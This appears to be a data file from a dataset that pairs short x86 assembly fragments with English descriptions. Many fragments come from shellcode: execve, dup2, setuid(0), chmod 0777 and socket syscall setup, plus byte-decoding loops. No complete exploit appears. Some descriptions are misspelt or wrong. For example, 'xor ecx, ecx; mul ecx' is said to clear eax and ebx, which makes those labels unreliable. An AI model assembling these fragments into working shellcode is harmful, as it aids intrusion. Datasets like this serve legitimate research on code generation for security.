| xor eax, eax init eax 0
|
| xor eax, eax clear the eax register
|
| xor eax, eax set eax to 0
|
| xor eax, eax \n cmp edx, eax \n je l3 zero out the eax register and jump to the l3 label if the contents of the edx register is equal to the contents of the eax register
|
| xor eax, eax \n cmp edx, eax \n jne l3 zero out the eax register and jump to the l3 label if the contents of the edx register is not equal to the contents of the eax register
|
| xor eax, eax \n inc al \n int 0x80 clear eax and execute exit syscall
|
| xor eax, eax \n mov al, [esi+1] clean the eax register and move the next byte of the shellcode into the lower byte of the register
|
| xor eax, eax \n mov al, [esi+1] clear the eax register and move the next byte of the shellcode into the lower byte of the register
|
| xor eax, eax \n mov al, 0x1 clear the eax register and move 0x1 in the lowest byte of the register
|
| xor eax, eax \n mov al, 0x1 \n int 0x80 clear eax register the load exit syscall number in it and call kernel
|
| xor eax, eax \n mov al, 0x3 zero out eax and move 0x3 in the lowest byte of the register
|
| xor eax, eax \n mov al, 0x3f clear eax and save in it the number of syscall dup2
|
| xor eax, eax \n mov al, 0x4 clear eax and move 0x4 in the lowest byte of the register
|
| xor eax, eax \n mov al, 0xb \n int 0x80 clear eax and execute execve syscall
|
| xor eax, eax \n mov al, 0xf \n int 0x80 execute __nr_chmod syscall
|
| xor eax, eax \n mov al, 2 clear the eax register and move 2 in the lowest byte of the register
|
| xor eax, eax \n mov al, 22 clear the eax register and move 22 into the lower byte of the register
|
| xor eax, eax \n mov al, 5 clear eax and put the number of syscall open in it
|
| xor eax, eax \n mov al, 5 clean the eax register and move 5 in the lowest byte of the register
|
| xor eax, eax \n mov al, 6 clear eax and copy the numebr of the syscall close in its last byte
|
| xor eax, eax \n mov al,0x1 \n int 0x80 execute __nr_exit syscall
|
| xor eax, eax \n mov ebx, eax \n mov ecx, eax \n mov edx, eax zero out eax, ebx, ecx and edx registers
|
| xor eax, eax \n push eax zero out eax register and push its contents on the stack stack
|
| xor eax, eax \n push eax clear eax register and push its contents on the stack
|
| xor eax, eax \n push eax zero out eax register and insert it on the stack
|
| xor eax, eax \n push eax clear eax and push it on the stack
|
| xor eax, eax \n push eax put null bytes in the stack
|
| xor eax, eax \n push eax clear eax register and push ita content on the stack
|
| xor eax, eax \n push eax clear eax and push its content on the stack
|
| xor eax, eax \n push eax clear aex and push its content on the stack
|
| xor eax, eax \n push eax push null into the stack
|
| xor eax, eax \n push eax zero out eax register and push it on stack
|
| xor eax, eax \n push eax push zero onto the stack
|
| xor eax, eax \n push eax zero out the eax register and push zero onto the stack
|
| xor eax, eax \n push eax clear the eax register and push its contents onto the stack
|
| xor eax, eax \n xor ebx, ebx zero out eax and ebx registers
|
| xor eax, eax \n xor ebx, ebx clear eax and ebx registers
|
| xor eax, eax \n xor ebx, ebx clear eax and ebx register
|
| xor eax, eax \n xor ebx, ebx cleaning eax and ebx registers
|
| xor eax, eax \n xor ebx, ebx zero out eax and ebx registers using xor operation
|
| xor eax, eax \n xor ebx, ebx 0's our eax and ebx
|
| xor eax, eax \n xor ebx, ebx 0's out eax and ebx
|
| xor eax, eax \n xor ebx, ebx zero out eax adn ebx registers
|
| xor eax, eax \n xor ebx, ebx zero out eax and ebx
|
| xor eax, eax \n xor ebx, ebx clean eax and ebx registers
|
| xor eax, eax \n xor ebx, ebx clear the eax and the ebx registers
|
| xor eax, eax \n xor ebx, ebx clear eax and ebx
|
| xor eax, eax \n xor ebx, ebx \n cdq clear eax, ebx and edx registers
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx zero out eax, ebx, ecx
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx zero out eax,ebx and ecx registers
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx clear eax, ebx and ecx
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx zero out eax, ebx and ecx
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx \n xor edx, edx clearing the eax, ebx, ecx, edx registers
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx \n xor edx, edx zero out eax, ebx, ecx and edx register
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx \n xor edx, edx zero out eax,ebx, ecx and edx registers
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx \n xor edx, edx zero out eax, ebx, ecx and edx
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx \n xor edx, edx clear eax, ebx, ecx and edx registers
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx \n xor edx, edx clean eax, ebx, ecx and edx
|
| xor eax, eax \n xor ebx, ebx \n xor ecx, ecx \n xor edx, edx zero out eax, ebx, ecx and edx registers
|
| xor eax, eax \n xor ebx, ebx \n xor edx, edx clear eax, ebx and edx
|
| xor eax, eax \n xor ebx, ebx \n xor edx, edx \n xor edi, edi cleaning eax, ebx, edx and edi registers
|
| xor eax, eax \n xor ecx, ecx clear eax and ecx
|
| xor eax, eax \n xor ecx, ecx zero out eax and ecx register
|
| xor eax, eax \n xor ecx, ecx 0's out eax and ecx register
|
| xor eax, eax \n xor edx, edx clear eax and edx
|
| xor eax, eax \n xor edx, edx zeroing eax and edx reisters
|
| xor eax, eax \n xor edx, edx zero out eax and edx registers
|
| xor eax, eax \n xor edx, edx zero out eax and edx register
|
| xor eax, eax \n xor esi, esi zero out eax and esi registers
|
| xor eax, eax \npush eax clear eax and push it on the stack
|
| xor eax, eax, clear eax
|
| xor eax, ebx perform a logical xor between the eax register and the ebx register and save the result in eax
|
| xor eax, ebx perform xor operation between eax register and ebx register and store the result in eax
|
| xor eax, edi perform a logical xor between the eax register and the edi register and save the result in eax
|
| xor eax, esi perform a logical xor between the eax register and the esi register and save the result in eax
|
| xor eax,eax clear eax
|
| xor eax,eax zero out eax register
|
| xor eax,eax zero out eaz
|
| xor eax,eax zero out eax
|
| xor eax,eax clear eax register
|
| xor eax,eax initiliaze eax to 0
|
| xor eax,eax zero out eax regsiter
|
| xor eax,eax \n mov al,0x2 \n int 0x80 clear eax and load the code of syscall fork in it, then call kernel
|
| xor eax,eax \n mov al,0x2 \n int 0x80 clear eax then execute dork syscall
|
| xor eax,eax \n mov al,0x7 \n int 0x80 clear eax and load the codeof syscall waitpid in it and then call kernel
|
| xor eax,eax \n mov al,1 \n int 80h clear eax, then execute exit syscall
|
| xor eax,eax \n push eax clear eax and push it on the stack
|
| xor eax,eax \n xor ebx,ebx clear eax and ebx registers
|
| xor eax,eax \n xor ebx,ebx zero out eax and ebx register
|
| xor eax,eax \n xor ecx,ecx zero out eax and ecx register
|
| xor eax,eax \n xor edx,edx zeroing eax and edx registers
|
| xor eax,ebx xoring eax with ebx
|
| xor ebp, ebp clear ebp register
|
| xor ebp, ebp zero the value on ebp
|
| xor ebx, ebp perform a logical xor between the ebx register and the ebp register and save the result in ebx
|
| xor ebx, ebx clear ebx
|
| xor ebx, ebx xoring ebx
|
| xor ebx, ebx zero out ebx register
|
| xor ebx, ebx zero out ebx
|
| xor ebx, ebx clear ebx, setuid(0)
|
| xor ebx, ebx clear ebx, setgid(0)
|
| xor ebx, ebx 0's out ebx
|
| xor ebx, ebx clear ebx register
|
| xor ebx, ebx initialize ebx with 0
|
| xor ebx, ebx reset both lower and uppper bytes of ebx to be 0
|
| xor ebx, ebx clear the ebx register
|
| xor ebx, ebx init ebx 0
|
| xor ebx, ebx reset ebx to 0
|
| xor ebx, ebx set the ebx register to null
|
| xor ebx, ebx zero out the ebx register
|
| xor ebx, ebx \n cmp eax, ebx \n je exit zero out the ebx register and jump to the exit label if the contents of the eax register is equal to the contents of the ebx register
|
| xor ebx, ebx \n cmp eax, ebx \n jne exit zero out the ebx register and jump to the exit label if the contents of the eax register is not equal to the contents of the ebx register
|
| xor ebx, ebx \n mov bl, [esi+1] zero out the ebx register and move the next byte of the shellcode into the lower byte of the register
|
| xor ebx, ebx \n mov bl, [esi+1] clean the ebx register and move the next byte of the shellcode into the lower byte of the register
|
| xor ebx, ebx \n mov bl, [esi+1] clear the ebx register and move the next byte of the shellcode into the lower byte of the register
|
| xor ebx, ebx \n mov bl, 0x3 set ebx to the old socket fd = 3
|
| xor ebx, ebx \n mov bl, 0x3 zero out ebx and move 0x3 in the lowest byte of the register
|
| xor ebx, ebx \n mov bl, 0x4 clear ebx and move 0x4 in the lowest byte of the register
|
| xor ebx, ebx \n mov bl, 2 clear the ebx register and move 2 in the lowest byte of the register
|
| xor ebx, ebx \n mov bl, 5 clean the ebx register and move 5 in the lowest byte of the register
|
| xor ebx, ebx \n mov ebx, eax clear ebx and copy the eax contents in it
|
| xor ebx, ebx \n mul ebx zero out ebx and eax
|
| xor ebx, ebx \n mul ebx zero out ebx, eax and edx
|
| xor ebx, ebx \n mul ebx zero out the eax and ebx register
|
| xor ebx, ebx \n mul ebx zero out the eax register and the ebx register
|
| xor ebx, ebx \n mul ebx clear ecx and eax
|
| xor ebx, ebx \n mul ebx zero out ecx, edx and eax
|
| xor ebx, ebx \n mul ebx clean eax and edx
|
| xor ebx, ebx \n mul ebx zero out eax and edx
|
| xor ebx, ebx \n pop ebx clear ebx and pop it from the stack
|
| xor ebx, ebx \n push dword ebx clear ebx register and put its content as a double word on stack
|
| xor ebx, ebx \n push ebx zero out the ebx register and push zero onto the stack
|
| xor ebx, ebx \n push ebx push zero onto the stack
|
| xor ebx, ebx \n push ebx clear the ebx register and push its contents onto the stack
|
| xor ebx, ebx \n xor ecx, ecx zro out ebx and ecx register
|
| xor ebx, ebx \n xor ecx, ecx clean ebx and ecx
|
| xor ebx, ebx \n xor ecx, ecx \n mul ecx clear ebx, ecx and eax regsiters
|
| xor ebx, ebx \n xor ecx, ecx \n xor edx, edx clear ebx, ecx, edx
|
| xor ebx, ebx \n xor edx, edx clear the ebx and edx registers
|
| xor ebx, ebx \n xor edx, edx zero out ebx and edx
|
| xor ebx, word __flag_byte perform a logical xor between the ebx register and the word __flag_byte and save the result in ebx
|
| xor ebx,eax xoring ebx with eax
|
| xor ebx,ebx clear ebx
|
| xor ebx,ebx zero out ebx register
|
| xor ebx,ebx cler ebx
|
| xor ebx,ebx clear ebx regsiter
|
| xor ebx,ebx zero out ebx
|
| xor ebx,ebx clear ebx register
|
| xor ebx,ebx \n mul ebx put zero into ebx and eax
|
| xor ebx,ebx \n xor eax,eax clear ebx and eax register
|
| xor ecx, bh perform a logical xor between the ecx register and the bh register and save the result in ecx
|
| xor ecx, dh perform a logical xor between the ecx register and the dh register and save the result in ecx
|
| xor ecx, ecx zero out ecx register
|
| xor ecx, ecx clear ecx
|
| xor ecx, ecx cleat ecx
|
| xor ecx, ecx xoring ecx
|
| xor ecx, ecx clear ecx register
|
| xor ecx, ecx zero out ecx
|
| xor ecx, ecx define o_rdonly, ecx = 0
|
| xor ecx, ecx null ecx
|
| xor ecx, ecx zeroing ecx register
|
| xor ecx, ecx xor to clear out ecx
|
| xor ecx, ecx clean ecx
|
| xor ecx, ecx zero out loop counter ecx
|
| xor ecx, ecx initialize ecx to zero
|
| xor ecx, ecx initialize ecx with decimal value 0
|
| xor ecx, ecx reset both lower and uppper bytes of ecx to be 0
|
| xor ecx, ecx set the ecx register to null
|
| xor ecx, ecx zero out the ecx register
|
| xor ecx, ecx reset ecx to 0
|
| xor ecx, ecx clear the ecx register
|
| xor ecx, ecx \n cmp ebx, ecx \n je l1 zero out the ecx register and jump to the l1 label if the contents of the ebx register is equal to the contents of the ecx register
|
| xor ecx, ecx \n cmp ebx, ecx \n jne l1 zero out the ecx register and jump to the l1 label if the contents of the ebx register is not equal to the contents of the ecx register
|
| xor ecx, ecx \n mov cl, [esi+1] clean the ecx register and move the next byte of the shellcode into the lower byte of the register
|
| xor ecx, ecx \n mov cl, [esi+1] clear the ecx register and move the next byte of the shellcode into the lower byte of the register
|
| xor ecx, ecx \n mov cl, [esi+1] zero out the ecx register and move the next byte of the shellcode into the lower byte of the register
|
| xor ecx, ecx \n mov cl, 0x19 zero out the ecx register and move 0x19 into the lower byte of the register
|
| xor ecx, ecx \n mov cl, 0x1e clear the counter and move 0x1e into the first byte of the register
|
| xor ecx, ecx \n mov cl, 0x3 init new socket fd
|
| xor ecx, ecx \n mov cl, 0x3 clear ecx and save the number of loops, 3, in it
|
| xor ecx, ecx \n mov cl, 0x3 zero out ecx and move 0x3 in the lowest byte of the register
|
| xor ecx, ecx \n mov cl, 0x4 clear ecx and move 0x4 in the lowest byte of the register
|
| xor ecx, ecx \n mov cl, 2 clear the ecx register and move 2 in the lowest byte of the register
|
| xor ecx, ecx \n mov cl, 23 zero out the ecx register and move 23 into the lower byte of the register
|
| xor ecx, ecx \n mov cl, 25 zero out the ecx register and move 25 in the lower 8 bits of the register
|
| xor ecx, ecx \n mov cl, 3 clear ecx and move the value 3 in it
|
| xor ecx, ecx \n mov cl, 5 clean the ecx register and move 5 in the lowest byte of the register
|
| xor ecx, ecx \n mov cl, shellcode_length zero out the loop counter and move shellcode_length in the first byte
|
| xor ecx, ecx \n mov cx, 0x1ff clear ecx and move the value 0777 in it ( set file permissions to 777 so anyone can do anything (read, write, or execute))
|
| xor ecx, ecx \n mov cx, 0x1ff clear ecx and set file permissions to 777
|
| xor ecx, ecx \n mul ecx zero out ecx and eax register
|
| xor ecx, ecx \n mul ecx zero out eax ecx register
|
| xor ecx, ecx \n mul ecx zero out ecx and eax registers
|
| xor ecx, ecx \n mul ecx clear ecx and eax register
|
| xor ecx, ecx \n mul ecx clear eax and ebx registers
|
| xor ecx, ecx \n mul ecx trick to clear eax and ecx
|
| xor ecx, ecx \n mul ecx zero out eax and ecx
|
| xor ecx, ecx \n mul ecx zero out the eax register and the ecx register
|
| xor ecx, ecx \n mul ecx cause both eax and edx to become zero
|
| xor ecx, ecx \n mul ecx zero out eax and edx registers
|
| xor ecx, ecx \n mul ecx clear ecx and eax
|
| xor ecx, ecx \n mul ecx zero out ecx, edx and eax
|
| xor ecx, ecx \n mul ecx clean eax and edx
|
| xor ecx, ecx \n mul ecx zero out eax and edx
|
| xor ecx, ecx \n push ecx push zero onto the stack
|
| xor ecx, ecx \n push ecx clear the ecx register and push its contents onto the stack
|
| xor ecx, ecx \n push ecx zero out the ecx register and push zero onto the stack
|
| xor ecx, ecx \n xor eax, eax zero out ecx and eax register
|
| xor ecx, ecx \n xor eax, eax zero out ecx and eax
|
| xor ecx, ecx \n xor eax, eax \n xor edx, edx clear ecx, eax and edx
|
| xor ecx, ecx \n xor ebx, ebx \n xor eax, eax clear ecx, ebx and eax
|
| xor ecx, ecx \n xor edx, edx zero out ecx and edx register
|
| xor ecx,ecx zero out ecx register
|
| xor ecx,ecx clear ecx
|
| xor ecx,ecx zero out ecx
|
| xor ecx,ecx \n mul ecx clear ecx and eax
|
| xor ecx,ecx \n mul ecx clear ecx and eax register
|
| xor ecx,ecx \n mul ecx clear ecx and eax registers
|
| xor ecx,ecx \n mul ecx clear eax and ebx registers
|
| xor ecx,ecx \n xor eax, eax clear eax and ecx registers
|
| xor edi, ebp xoring ebp with edi register
|
| xor edi, edi zero out edi register
|
| xor edi, edi initialize edi with 0
|
| xor edi, edi clear the edi register
|
| xor edi, edi init edi 0
|
| xor edi, edi \n xor eax, eax \n xor ebx, ebx \n xor edx, edx zero out the edi, eax, ebx and edx registers
|
| xor edx, ecx \n mov dl, [esi+1] clean the edx register and move the next byte of the shellcode into the lower byte of the register
|
| xor edx, ecx \n mov dl, [esi+1] clear the edx register and move the next byte of the shellcode into the lower byte of the register
|
| xor edx, ecx \n mov dl, [esi+1] zero out the edx register and move the next byte of the shellcode into the lower byte of the register
|
| xor edx, edx clear edx
|
| xor edx, edx clear edx register
|
| xor edx, edx zero out edx register
|
| xor edx, edx zero out edx
|
| xor edx, edx zero out edx register using xor operation
|
| xor edx, edx initialize edx with the decimal value 0
|
| xor edx, edx initialize edx with the hexadecimal value 0x0
|
| xor edx, edx clear the edx register
|
| xor edx, edx set the contents of edx to zero
|
| xor edx, edx set the edx register to null
|
| xor edx, edx zero out the edx register
|
| xor edx, edx reset edx to 0
|
| xor edx, edx \n cmp ecx, edx \n je l2 zero out the edx register and jump to the l2 label if the contents of the ecx register is equal to the contents of the edx register
|
| xor edx, edx \n cmp ecx, edx \n jne l2 zero out the edx register and jump to the l2 label if the contents of the ecx register is not equal to the contents of the edx register
|
| xor edx, edx \n mov dl, [esi] clear the edx register and move the current byte of the shellcode into the lowest byte of the register
|
| xor edx, edx \n mov dl, 0x3 zero out edx and move 0x3 in the lowest byte of the register
|
| xor edx, edx \n mov dl, 0x4 clear edx and move 0x4 in the lowest byte of the register
|
| xor edx, edx \n mov dl, 2 clear the edx register and move 2 in the lowest byte of the register
|
| xor edx, edx \n mov dl, 5 clean the edx register and move 5 in the lowest byte of the register
|
| xor edx, edx \n mul edx zero out eax and edx
|
| xor edx, edx \n mul edx zero out the eax and edx register
|
| xor edx, edx \n push edx clear edx and push it on the stack
|
| xor edx, edx \n push edx push null into stack
|
| xor edx, edx \n push edx zero out edx register then push its content on stack
|
| xor edx, edx \n push edx zero out the edx register and push zero onto the stack
|
| xor edx, edx \n push edx push zero onto the stack
|
| xor edx, edx \n push edx clear the edx register and push its contents onto the stack
|
| xor edx, edx \n push edx \n push 0x01 \n push 0x02 \n mov ecx, esp zero out edx register and save af_inet, sock_stream and edx contents in ecx
|
| xor edx, edx \n xor ecx, ecx clear edx and ecx reegsiter
|
| xor edx, edx \n xor esi, esi zero out edx and esi register
|
| xor edx,edx clear edx
|
| xor edx,edx clear edx register
|
| xor edx,edx zero out edx
|
| xor edx,edx zero out edx register
|
| xor edx,edx \n mul edx clear edx and eaz registers
|
| xor edx,edx \n push edx clear edx adn push null terminating string on stack
|
| xor esi, esi zero out esi register
|
| xor esi, esi zero out esi content
|
| xor esi, esi clean esi
|
| xor esi, esi initialize the esi register with the decimal value 0
|
| xor esi, esi init the esi register to 0
|
| xor esi, esi clear the esi register
|
| xor rdx, rdx \n push rdx zero out rdx and push it on stack
|
| xor zero_reg, zero_reg clear zero_reg
|
| xor zero_reg, zero_reg zero out zero_reg
|
| xor_decode: define xor_decode_label
|
| xordecode: declare _xordecode label
|
| xordecode: define xordecode
|
| y dd 3000 declare a doubleword at address y initialized to contain 3000
|
| y: dd 0x0 create the doubleword variable y in memory and initialize it to zero
|
| ymmval: resw 1 reserve one word for ymmval
|
| z dd 1, 2, 3 declare three doubleword values initialized to 1 2 and 3 at address z
|
| z dd 1,2,3 declare three doublewords of memory starting at address z and initialized to 1 2 and 3
|
| z: dd 0x0 create the doubleword variable z in memory and initialize it to zero
|
| zero10: define _zeero10 label
|
| zero11: define _zero11 label
|
| zero12: define _zero12 label
|
| zero13: define _zero13 label
|
| zero14: define _zero14 label
|
| zero15: define _zero15 label
|
| zero16: define _zero16 label
|
| zero17: define _zero17 label
|
| zero18: define _zero18 label
|
| zero19: define _zero19 label
|
| zero1a: define _zero1a label
|
| zero1b: define _zero1b label
|
| zero1c: define _zero1c label
|
| zero1d: define _zero1d label
|
| zero1e: define _zero1e label
|
| zero2: define _zero2 label
|
| zero3: define _zero3 label
|
| zero4: define _zero4 label
|
| zero5: define _zero 5 label
|
| zero6: define _zero6 label
|
| zero7: define _zero7 label
|
| zero8: define _zero8 label
|
| zero9: define _zero9 label
|
| zeroa: define _zeroa label
|
| zerob: define _zerob label
|
| zeroc: define _zeroc label
|
| zerod: define _zerod label
|
| zeroe: define _zeroe label
|
| zerof: define _zerof label |
